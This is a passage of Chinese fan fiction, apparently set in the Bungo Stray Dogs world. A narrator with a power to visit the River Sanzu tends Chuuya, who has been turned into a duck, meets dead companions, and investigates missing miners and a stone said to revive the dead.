两秒后,它努了努嘴,示意我接过体温计。
我低声说道:“这么多年了,你没长到一米九啊。”
闻言,鸭子额头的绒毛炸起。
我继续刺激它:“别说没长到一米九,好像连十九厘米都没有了。”
“Chu!!!”
见鸭子气到全身炸毛,我才慢腾腾地拿走体温计,塞进自己嘴里。
一量体温,我烧得还挺严重的。
量完体温后,旁边的鸭子见我没动静,一直在ChuChuChu,我知道它在催我去吃药。
如果鸭子现在是人形,恐怕早就把药片灌我嘴里了。
……和那时候的性格几乎一模一样。
即使知道了自己不是人类,即使从羊组织辗转到了港口Mafia,即使旗会的挚友全部被杀,他也没有变成一个憎恨世界的魔人。
依然温柔、善良、关心别人,身处逆境也绝不低头。
我的身上还盖着一条毛毯。
很难想象,以一只小鸭子的体重,是怎么将毛毯拖过来的。也很难想象,当初那个不到十岁的矮个男孩,是怎么顶着组织的压力替我找到哥哥,并将我送回去的。
“为什么你一点都没变呢?”
……为什么你就能一点都没变呢?
鸭子从医药箱里叼来了退烧药,又在试图拿杯子去接一杯水。
这完全超出了一只鸭子的能力。
我不想看它为难自己,掰开药片直接吞了下去。
鸭子见状才放下杯子,不再扑棱。
“你这样子真搞笑,现在连小原小也都算不上了,以后干脆叫你半截干部吧。”
它瞪圆了眼睛,还愤怒地跺了一下鸭脚。
“但是你好乐观,无能狂怒也能这么吸引人。”我闭上眼睛,轻声叹气,“为什么我就不能像你一样呢?”
耳边是鸭子ChuChu的声音,不知道它在说什么,我脑袋昏昏沉沉地又睡了过去。
这一次我见到了哥哥,以及他的同伴。
“乔伊,你长高了。”
“没错没错,变得越来越可爱了哟。”旁边一个眼角有泪痣的青年说道。
我认出他是旗会的发言人,他以前也是家喻户晓的明星。
再旁边,旗会的其他成员也都在。
他们早在六年前去世了。
这到底是做梦还是——
不,不是梦。
因为我看到了神秘莫测的三途河,这里是我自从条野事件结束后就再也没有踏足的地方。
看来是我由于体温过高,无意识地使用了异能力。
我转过身准备离开,听到哥哥问道:“上一次是你把中也送来这里的吧?”
“……不是。”
“绝对是你,我生前就猜到你的能力了。”哥哥说,“再说了中也的异能是重力操控,他自己可来不了这种地方。”
……答对了。
但幸好送来的只是乘着纸鹤的中也的灵魂,所以他并不会记得在这里发生的对话。
他只会记得见到了同伴的事。
原本这可以被当成一个美梦。
谁会想到中也不是人,也不会做梦呢?反倒引起了他对我的怀疑。
果然不能多事。
“其实我也是被人送来的。”我挥挥手,“好了,再见。”
“难得兄妹见面,你不来哥哥怀里撒个娇吗?”
……呕。
“乔伊,爸妈也很想念你,我和老爸和好了。”
我装作没听到,继续往前走。
只要穿过这条河的分界线处,就能回到现实世界。
【不公平,为什么只有乔乔可以来这里!】
【乔伊,请让我见到我的爸爸妈妈!】
【我也想见到我的采菊长大成人结婚生子……】
脑海里不断浮现出童年伙伴们的声音。
的确,只有我一个人能往返这里,很不公平。
所以从那之后,我再没有来过。
同学死亡时,我忍住了。
父母遇到海难时,我忍住了。
哥哥死在Mafia时,我也忍住了。
我一次又一次地忍住,假装从不在意,反复告诉自己生死离别只是事物的客观规律,没什么好难过的。
一只手搭在了我的肩膀上,轻轻拍了拍。
像安抚。
更像道歉。
“……哥哥没有早点发现你的处境,对不起。一直以来,你过得很辛苦吧。”
“你想多了,我过得很好。”我甩掉哥哥的手,毫不犹豫地踩在了三途河的分界线上。
风声大作,下一秒我睁开眼睛,看到床边趴着的鸭子,才慢慢地喘了一口气。
再多留一会儿,我恐怕就要忍不住将哥哥带回来了。
有这种异能还真是折磨,就像守着一座金矿,却每天吃土。
如果是中也有这种异能,他会如何做出选择呢?
会复活旗会的伙伴吗?
我低下眼眸,鸭子守人守困了,正在打呼,脑袋像小鸡啄米那样一点一点的,让人想弹。
这一刻,我仿佛穿过迢迢时光,回到了幼年时被羊收留的时光。
那时候的羊之王也像现在这样,
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守着感染肺炎的我。
我伸出手,在鸭子的脑袋上弹了一下。
鸭子瞬间原地起飞,蹿到了天花板上。
我:“……”
在看到是我偷袭之后,它从天花板上跳了下来,踢了踢我的手指,以示不满。
“有你这么守人的吗?自己都打呼了,我要是死了你都不知道。”
“ChuChu!”
它一Chu,我就乐了,也开始用它的语言:“ChuChuChu,Biubiubiu——”
鸭子无语,翻了个白眼,迈开脚步打算出去。
我捉住了它的腿,将它拎回来摆在床边。
“我还没退烧呢,有你这样半途而废的监护鸭么?”
看它不太情愿的样子,我建议道:“这样吧,我们写字交流,复盘一下在西山发生的事。”
我拿来了桌布和墨水。
鸭子看到白色的桌布不敢下脚,我保证道:“我之前是吓唬你的,我怎么可能忍心伤害小动物?”
“Chu!”它指了指自己的头,意思是我刚才趁它睡觉弹它的那一下。
“你还真是记仇,那是跟你闹着玩呢,好了,别气了,我问你写。”
鸭子这次没用脚,而是讲究地用翅膀蘸了墨水写。
“你在西山矿场看到了什么?”
鸭子写道:【十四具矿工的尸体】。
……矿工们果然遇难了。
“尸体有什么特征吗?”
【非自然死亡,没有外伤。】
“我记得你之前说过你是来这里寻找宝石的,什么类型的宝石?”
鸭子犹豫了一下,这估计是Mafia的机密,它不便透露。
“事到如今,你已经没得选了,中也。”
Mafia派出的人员都变成了动物,只能依赖我这个唯一的人类。
事实上即使中也什么都不做,森鸥外在发现联系不上他之后,也绝对不会不闻不问。
但中也并不是会等待别人来救援的人。
【生命之石】。
——生命?
听起来是个很玄妙的石头。
“不要告诉我它能拯救将死之人的生命。”
鸭子点了点头,继续写:【据说只要掌握正确用法,甚至能令死者复生。】
……这种能力很bug。
祖父若是在世,听到这里恐怕要开始杀鸭子了。
人和人是不一样的。
他想保证死亡的正确性,让它成为世界上唯一绝对公平的东西,为此愿意付出一切代价。
但森鸥外想用它敛财。
靠这种宝石帮有钱人续命,来换取更多的财富和地位。
他会有这种想法很正常。
大多数人都是这种想法。
【我拿到它之后被偷袭,宝石也下落不明了。】
“中也,如果这种宝石能让我哥哥他们回来,你会使用吗?”
鸭子沉默了很久,久到我以为它没听到我的问题。
【我不知道】。
23.23
23
我和中也决定先调查那些矿工的家庭。
小镇上一共有五户家庭有人在矿场工作,据第一户的主妇苏珊太太回忆,她的丈夫是在去年春天打猎时,遇到了开采矿石的公司,因为想要改善家里的生活条件,便被说动,去了遥远的西山挖矿。
一开始他还会每个月回来一趟送钱,直到两个月前,就再也没出现过了。
由于菲利普亚封闭落后,这里的人不会使用手机,出行基本靠双腿,甚至也只能坐马车去很远的警局报案。
之后不了了之了。
“您丈夫去了矿山之后有什么变化吗?”我问道,“他有没有跟您提过矿场的事?”
“他瘦了很多,精神状态也不太好,但挖矿毕竟是体力活,我也就没多想。至于矿场的事,他没多说,只说是普通的挖矿工作。”
“他有没有提过他们的老板?”
“没有,但应该是个很善良的人,给了很多钱,对了!”苏珊突然想到了什么,“我先生提过他在那里遇到过罗拉家的戈尔登。”
“估计是去找他父亲的。”我解释道,“他父亲也在矿场工作。”
“怪就怪在这里。”苏珊说道,“我先生也是那样认为的,还和他打招呼,但那孩子慌慌张张地离开了,事后问起戈尔登的父亲,他却否认自己的儿子来找过他。”
“……可能是怕被父亲责骂吧,毕竟矿场可不是小孩子去的地方,戈尔登又一直对外面的事充满好奇。”
“说的也是。”苏珊叹气,“不过他一个小鬼,是怎么跑到矿场去的呢。”
她担心的并无道理,去矿场的路并不好走,山里云雾缭绕,大山环绕小山,险象环生,加上西边是禁区,即便是中也和他的部下们,也花费了相当多的时间才找到进去的路。
“我知道了,谢谢您,苏珊太太。”
“乔伊小姐!”她紧紧地握住了我的手,“我的先生还能回来吗?”
由于恐惧,她的声音有些发颤。
我望着她红肿的眼睛和憔悴的脸,轻声说道:“他的心永远和您在一起。”
——但是人不会回来了。
其实这么多天了无音讯,她心里已经有了最坏的打算。
“谢谢,谢谢!”苏珊一连说了好多声谢谢,逐渐泣不成声。
剩下的几户人家和她家的情况差不多,一下午我的耳边全是哭声。鸭子一言不发,安静地坐在我肩上,我以为它睡着了,弹了弹它的头,它才皱着眉瞪了我一眼。
“你怎么不叫了?”我问它。
它扭过头,一副懒得理我的姿态。
“你叫两声,说不定我会帮你做一顶帽子。”
鸭子的耳朵动了一下,身为帽子控,它很心动。
但它忍住了——决不向邪恶势力低头。
“戈尔登,你在家吗?”
我和鸭子来到了最后一户人家,也是镇上的小卖部。
自从妹妹莎拉生病住院后,小卖部就再也没有开张过。
我敲了敲门,仍没人应声,正当我准备放弃时,门忽然开了。
出来的却不是戈尔登,而是中也的那名部下。
“哦,是乔伊小姐,还有——”少年的目光漫不经心地扫过鸭子,“上好的食材。”
……这小子还没放弃吃鸭子呢。
“你怎么会在这里?”
“我暂时住这里。”少年微微一笑,朝屋里喊道,“戈尔登,有人找你。”
“来了!”
不一会儿,戈尔登跑了出来,几天不见,他瘦了一大圈,眼睛也红红的。
“乔伊小姐……”他欲言又止,最终在看到我肩上的鸭子时,将到嘴的话咽了下去,“您有什么事吗?”
“来看看你,介意请我喝杯茶吗?”
“噢,好的。”
戈尔登和少年都后退了两步,给我让出了一条路。
我环顾四周,发现家里乱七八糟的,到处都是杂物。
罗拉太太自从陪莎拉住院后还没回来过,但戈尔登向来很勤快,我记得之前说过他家的窗户都是他负责擦干净的。
……是因为太担心妹妹和父亲了么?
戈尔登很快给我端来了一杯茶,又拿了一盒包装饼干。
“抱歉,家里没有现烤的小甜饼。”
“没关系。”我摸了摸鸭子的头,“有虫子吗,我家Chu鸭很喜欢吃大肉虫。”
鸭子立刻在我的手心啄了两下,意思是它才不吃。
戈尔登的表情变得古怪起来。
他绝对和此事有关联。
“怎么了吗?”我问道,“小鸭吃虫子不是很正常吗?”
“没什么,我马上去挖。”
见男孩去挖虫子,鸭子回头朝我翻了个白眼。
我故意逗它:“别心急,马上就有热乎的虫子吃了。”
鸭子:“……”
“乔伊小姐对这只鸭子真好,就像家人一样。”中也的部下感慨道,“我都有些羡慕它了。”
我刚想吐槽他几句,却看到他呆呆地望着窗外,表情中流露出些许迷茫。
他望着的方向是群山,眼神微颤:“家人。”
不像是装的。
我偷偷问中也:“你这个部下叫什么名字?用嘴在我手心写。”
鸭子迟疑了一下,在我手心一笔一划,艰难地啄出了一个名字:渡边礼人。
渡边礼人?
我喝了一口茶,闭上了眼睛。
意识猛得下沉,伴随着呼啸而来的冷风,不多时,我又站在了三途河的边界线上。
“渡边礼人?渡边礼人?”
我试探地叫了一声,片刻后,一个瘦削的身影缓缓出现在了我面前。
赫然和小卖部里中也的部下长着一模一样的脸。
“你果然已经死了。”
“是啊。”他叹了口气,忧心忡忡,“中也大人他们去山里的第二天,我去你家给你送东西,在路上被人袭击死掉了。”
“袭击你的是什么人,还有印象吗?”
少年摇了摇头。
看来我的猜测没错,中也的部下很早就死了,现在的那位是个冒牌货。
“乔伊小姐,为什么你能到这里呢?你也死了吗?”
“还没呢。”由于祖父的禁制,我无法对活人吐露真言,但对已故的人可以说实话,“这是我的异能力。”
少年哦了一声,又问道::“中也大人现在怎么样了?他顺利完成任务了吗?有没有遇到袭击,中也大人那么强,
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应该不会有问题的……”
我听他絮絮叨叨说了一大堆,不满地批评道:“全是中也大人中也大人,没有想过你的家人吗?你才十四岁,就这么死掉了。”
“……中也大人就是我的家人。”少年露出了欣慰的表情,“能在大人手底下做事,十四岁也抵得过别人的一百四十岁了。”
肉麻的要命。
中也的部下们一个赛一个的肉麻,他们都很敬爱他。
但也正因如此,我才会怀疑现在小卖部的那个是假货。
“他没事,吃得好睡得好的,都快胖成球了,我是来确认一下自己的猜测。”我没敢说中也变鸭子的事,防止被缠住脱不了身,“中也大人说一定会替你报仇的。”
“嘿,我就知道中也大人最好了!”
傻子。
十四岁就死了,还满心是中也大人。
“乔伊小姐,请替我转告中也大人一句话。”
“嗯?”
三途河没有阳光,一切都是昏昏暗暗的,但此刻少年的脸上却出现了光。
“下辈子我也要追随中也大人!还有,要带许多好吃的巧克力糖球祭拜我,要带可口可乐不要百事可乐!”
……
回到现实世界,鸭子中也正在啄我的头。
因为戈尔登真的挖来了几条虫子。
其实对鸭子的身体构造而言,虫子是绝顶美味的,但中也还保留着做人的骄傲,不愿下嘴。
我从头上揪下鸭子,按在了桌上。
“你居然敢啄我,可恶的鸭子。”
“Chu!”它伸出脚踢我。
“对女人出手,真是失礼!”我弹了一下鸭子的屁股,“弹鸭臀。”
屁股被弹,它仿佛蒙受奇耻大辱,又羞又气地飞出了窗外。
“它飞走了。”戈尔登愣愣地说。
少年凉凉地接话:“只有煮熟的鸭子才不会飞走。”
三句话不离吃,还真把中也那位可怜部下的习惯模仿得深入骨髓。
我很快追上了鸭子。
鸭子站在树枝上,背对着我。
“对不起,刚才不是故意欺负你的。”
“Chu!”
“如果你三秒钟不变回人形中也,那就是原谅我了。”
很显然这是在为难鸭子。
“来和好啦,翘臀小鸭鸭。”我伸出手,让它用嘴啄字。
【那人不是我的部下】。
“真的吗?我怎么没看出和先前的礼人先生有什么区别?身高体型行为习惯不都一样?你不会看错了吧?”
【不会】。
鸭子情绪变得低落,啄字的速度也慢了下来。
【礼人可能不在了】。
它垂下了脑袋。
我能感受到它在自责。
没办法安慰,因为它猜的全对。
我想了想,说:“即使不在了,这辈子能遇见中也,礼人先生一定觉得很幸福。”
我捧起鸭子,在它的额头吻了一下。
鸭子瞬间从悲伤的情绪转变成了震惊,还有一丝丝不好意思。
“我也一样,能遇到中也,我觉得很开心。”我轻轻地说道,“不管中也是人类还是鸭子,我都想和你成为最好的朋友。”